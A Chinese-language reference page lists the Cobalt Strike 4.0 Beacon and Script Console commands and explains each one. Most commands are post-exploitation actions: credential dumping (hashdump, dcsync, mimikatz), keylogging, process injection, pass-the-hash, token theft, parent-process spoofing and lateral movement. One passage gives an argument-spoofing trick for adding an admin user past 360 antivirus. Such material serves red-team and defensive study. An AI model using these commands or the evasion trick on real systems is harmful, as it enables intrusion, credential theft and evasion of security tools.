C
C
Cobalt Strike
搜索文档…
Cobalt Strike Beacon命令
之前介绍过Beacon控制台但是并没有详细的讲现在就来详细的说一下相关的Beacon命令以及Script Console模块

Beacon控制台

Beacon控制台这是一个非常常用的地方攻击者在这里输入指令并等待执行显示结果,这里是输入命令和显示相关信息的地方,向 Beacon 发出的每个命令,无论是通过 GUI 还是控制台,都会在此窗口中显示出来。如果一个队友发送了一个命令Beacon则在显示时会在命令前显示他们的昵称
Beacon是异步有效负载。命令不会立即执行。每个命令都进入队列。当Beacon回连时,它将接收这些命令并逐个执行,然后Beacon会将所有的输出显示在Beacon控制台上。如果不小心误输入,可以使用clear命令清除当前Beacon的命令队列(在Beacon还没有回连接收任务前,如果Beacon已经回连接收到了命令那么clear命令是不起作用的)。
默认情况下,Beacon每60秒连接检查一次,可以使用sleep命令更改此设置。sleep以秒为单位指定Beacon检查的频率。如sleep 5(每5秒钟检查一次)。还可以指定0到99之间为第二个参数。此参数为随机数。Beacon会根据指定的随机百分比来改变每个检查的时间。如,sleep 300 20将使Beacon以20%的随机数睡眠300秒。这将使Beacon在240到300秒之间随机检查一次。
如果设置sleep 0这将使用交互模式。在交互模式下,命令将立即执行。如果你要使用隧道你必须使得你的 Beacon 处于交互模式下。一些 Beacon 命令 (如 browerpivot 、desktop 等)会自动的使 Beacon 在下次连接到你时处于交互式模式下。

Beacon命令

下面介绍CS 4.0 Beacon中全部命令同时部分命令相关的原理我会放到原理介绍中讲
1
help 帮助命令显示全部命令
2
help xxx 显示某个命令的详细信息
Copied!
1
argue 进程参数欺骗
2
3
argue [command] [fake arguments]
4
argue 命令 假参数 欺骗某个命令参数
5
6
argue [command]
7
argue 命令 取消欺骗某个命令参数
8
9
利用这个也可以绕过360添加用户(非核晶模式非x86)比如:
10
argue net1 /hello /hello /hello /hello /hello
11
run net1 user admin 123451 /add
12
注:假参数需要比真命令长
Copied!
1
blockdlls 阻止子进程加载非微软签名的dll
2
3
blockdlls [start|stop]
4
blockdlls start 启动此策略
5
blockdlls stop 关闭此策略
6
7
启动此策略后创建的子进程加载非微软签名的dll时会被阻止
8
注:此特性是windows10自身特性,需要目标为windows10才能成功启用
Copied!
1
browserpivot 浏览器代理前面介绍过
2
browserpivot [pid] [x86|x64]
3
browserpivot [stop]
Copied!
1
cancel 取消正在进行的文件下载
2
3
cancel filename
Copied!
1
cd 切换目录
Copied!
1
checkin 强制回连时发送主机信息
Copied!
1
covertvpn 部署Covert VPN客户端,注:没啥用的功能不做介绍
2
3
covertvpn [interface] [ip address]
Copied!
1
clear 清空Beacon任务列队
Copied!
1
connect 连接到一个TCP Beacon
2
connect [target] [port]
Copied!
1
cp 复制文件
Copied!
1
dcsync 从域控中提取密码哈希
2
dcsync [DOMAIN.FQDN] 提取所有帐户的密码哈希
3
dcsync [DOMAIN.FQDN] [DOMAIN\user] 特定用户的
Copied!
1
desktop VNC远程桌面
2
desktop pid [x86|x64] low|high 将vnc服务dll注入到指定进程中运行
3
注:需要确保cs服务端有vnc dll
Copied!
1
dllinject 反射dll进程注入
2
dllinject pid dllpath
3
注:路径为本机路径
Copied!
1
dllload 使用LoadLibrary函数进行dll注入
2
dllload pid dllpath
3
注:LoadLibrary函数 dll注入,目标机上必须存在被注入的dll
Copied!
1
download 下载目标机文件
2
download filepath
Copied!
1
downloads 列出正在下载的文件
Copied!
1
drives 列出目标机上所有的磁盘盘符
Copied!
1
elevate 提权并生成一个高权限会话
2
elevate [exploit] [listener]
Copied!
1
execute 执行程序(无回显)
2
execute [program] [arguments]
Copied!
1
execute-assembly 内存加载执行.NET程序集
2
execute-assembly .netpath [arguments]
3
注:就是普通的内存加载执行.net程序
Copied!
1
exit 结束Beacon进程
Copied!
1
getprivs 启用当前访问令牌所拥有的特权
2
注:你可以通过shell whoami /all查看详细信息
Copied!
1
getsystem 尝试模拟一个SYSTEM账号的令牌获取System权限
Copied!
1
getuid 获取当前令牌关联的用户ID
Copied!
1
hashdump 转储密码哈希
Copied!
1
inject 在指定进程中派生会话
2
inject [pid] <x86|x64> [listener]
Copied!
1
inline-execute 在Beacon会话中执行Beacon Object File (BOF)
2
inline-execute [/path/to/file.o] [args]
3
注:后面会详细讲解
Copied!
1
jobs 查看后渗透任务列表
2
Beacon中有些功能会在其他进程中运行(例如键盘记录屏幕截图)
3
这些任务在后台中运行,并在可用时报告其输出
4
可以使用jobs查看Beacon中的所有任务
Copied!
1
jobkill 结束一个在后台运行
2
jobkill [JID]
Copied!
1
jump 在远程主机上执行payload生成一个会话
2
jump [exploit] [target] [listener]
3
此命令通过横向渗透在目标上执行payload生成会话(psexec winrm)
Copied!
1
kerberos_ticket_purge 清除当前shell的Kerberos票据
2
3
kerberos_ccache_use 从ccache文件中导入Kerberos票据
4
kerberos_ccache_use [/path/to/file.ccache]
5
6
kerberos_ticket_use 从ticket文件中导入Kerberos票据
7
kerberos_ticket_use [/path/to/file.ticket]
8
注:域渗透相关
Copied!
1
keylogger 将键盘记录器注入到一个进程运行
2
keylogger [pid] [x86|x64] 注入到指定进程
3
注:不带任何参数则临时生成一个进程注入
Copied!
1
kill 结束指定进程
2
kill [pid]
Copied!
1
link 前面介绍过了是用来连接SMB Beacon的
2
link ip pipe name
Copied!
1
logonpasswords 执行mimikatz获取密码
Copied!
1
ls 显示目标机当前目录
Copied!
1
make_token 创建令牌前面有说过
2
make_token username pass
Copied!
1
mimikatz 执行mimikatz命令
2
mimikatz [module::command] <args>
3
mimikatz [!module::command] <args>
4
mimikatz [@module::command] <args>
5
注:有些mimikatz命令需要system权限才能运行
6
!代表强制将mimikatz提升到SYSTEM,然后再运行命令
7
有些则需要使用Beacon当前访问令牌运行
8
@代表强制mimikatz使用Beacon当前访问令牌运行命令
Copied!
1
mkdir 在目标机上创建目录
Copied!
1
mode dns 使用DNS A作为数据通道(仅限DNS Beacon有效)
2
mode dns6 使用DNS AAAA作为数据通道(仅限DNS Beacon有效)
3
mode dns-txt 使用DNS TXT作为数据通道(仅限DNS Beacon有效)
4
注:DNS Beacon默认使用DNS TXT作为数据通道
Copied!
1
mv 移动目标机上的文件
Copied!
1
net 在目标上执行net命令
Copied!
1
note 为当前Beacon会话备注
Copied!
1
portscan 扫描端口
2
portscan [targets] [ports] [arplicmp Inone] [max connections]
3
注:前面有说过
Copied!
1
powerpick 非托管powershell技术
2
powerpick [commandlet] [arguments]
3
注:非托管powershell技术就是不使用powershell.exe程序来执行powershell命令
Copied!
1
powershell 通过powershell.exe执行命令
2
powershell-import 导入Powershell脚本
Copied!
1
ppid 父进程欺骗
2
ppid [pid] 将指定进程作为父进程
3
ppid 直接执行ppid取消父进程欺骗
4
注:父进程欺骗顾名思义就是伪造子进程的父进程为指定进程。
5
这个听起来有点绕其实以前对抗过某杀软的应该都知道过父都是为了达到同一个目的
Copied!
1
ps 显示进程列表
Copied!
1
psinject 在指定进程中执行PowerShell命令
2
psinject [pid] [arch] [commandLet] [arguments]
Copied!
1
pth hash传递攻击
2
pth [DOMAIN\user] [NTLM hash]
Copied!
1
pwd 显示当前所在目录
Copied!
1
reg 注册表查询命令(仅能查询)
2
reg query [x86|x64] [root\path]
3
reg queryv [x86|x64] [root\path] [subkey]
Copied!
1
remote-exec 在远程主机上执行命令
2
remote-exec [method] [target] [command]
3
和上面那个在远程主机上执行payload生成会话的没啥区别只不过变成了执行命令
Copied!
1
rev2self 恢复Beacon原始令牌
Copied!
1
rm 删除文件
Copied!
1
rportfwd 反向端口转发
2
rportfwd [bind port] [forward host] [forward port] 开启端口转发
3
rportfwd stop [bind port] 停止指定端口转发
4
5
rportfwd 本机端口 目标ip 目标端口
6
注:将指定的本机端口转发到目标ip的目标端口
Copied!
1
run 在目标上执行程序(输出回显)
2
run [program] [arguments]
Copied!
1
runas 以其他用户权限执行程序
2
runas [DOMAIN\user] [password] [command] [arguments]
3
注:相当于windows的runas命令
Copied!
1
runasadmin 提权后执行命令
2
runasadmin [exploit] [command] [args]
3
注:与前面的elevate命令相似只不过变成了提权执行命令
Copied!
1
runu 父进程欺骗
2
runu [pid] [command] [arguments]
3
注:与ppid差不多,runu使用指定进程作为父进程来执行命令
Copied!
1
screenshot 截屏
Copied!
1
setenv 设置环境变量
Copied!
1
shell 通过cmd执行命令
Copied!
1
shinject shellcode注入
2
shinject [pid] <x86|x64> shellcode_raw_path
3
注:使用时注意目标进程架构
Copied!
1
sleep 设置beacon睡眠时间
Copied!
1
socks SOCKS4代理(不建议使用)
2
socks [stop|port] 停止或在指定端口开启代理
Copied!
1
spawn 派生会话
2
spawn [x86|x64] [listener]
3
注:默认情况下,spawn命令会在rundll32.exe中派生会话可以使用spawnto改变此默认
Copied!
1
spawnas 以其他用户身份派生会话
2
spawnas [DOMAIN\user] [password] [listener]
Copied!
1
spawnto 设置Beacon派生会话时使用的程序
2
spawnto [x86|x64] [程序路径]
3
注:此命令用来更改Beacon默认派生会话时使用的程序,比如
4
spawnto x64 C:\Windows\System32\notepad.exe
5
在派生一个新的x64会话时就会启动一个notepad进程来作为傀儡
6
直接输入spawnto回车代表清除设置使用默认配置
Copied!
1
spawnu 在指定进程中派生会话
2
spawnu [pid] [listener]
Copied!
1
ssh 使用ssh密码远程连接
2
ssh [target:port] [user] [pass]
3
注:通过Beacon内置的ssh客户端实现
Copied!
1
ssh-key 使用SSH密钥远程连接
2
ssh [target:port] [user] [/path/to/key.pem]
3
注:和上一个没啥区别
Copied!
1
steal_token 从进程中窃取访问令牌
2
steal_token [pid]
3
注:可以使用getuid命令会打印你的当前令牌,rev2self恢复的原始令牌。
Copied!
1
timestomp 复制指定文件时间戳到其他文件
Copied!
1
unlink 断开与子Beacon的连接
Copied!
1
upload 上传文件
Copied!

Script Console

1
? 执行sleep判断语句并输出结果
2
e 执行sleep说明语句
3
help 帮助
4
load 加载一个脚本
5
ls 列出加载的所有脚本
6
proff 关闭脚本分析器
7
pron 为开启脚本分析器
8
profile 脚本性能统计
9
reload 重新加载脚本
10
troff 关闭脚本跟踪功能
11
tron 开启脚本跟踪功能
12
unload 卸载脚本
13
x 执行sleep表达式并输出结果
Copied!
最近更新 11mo ago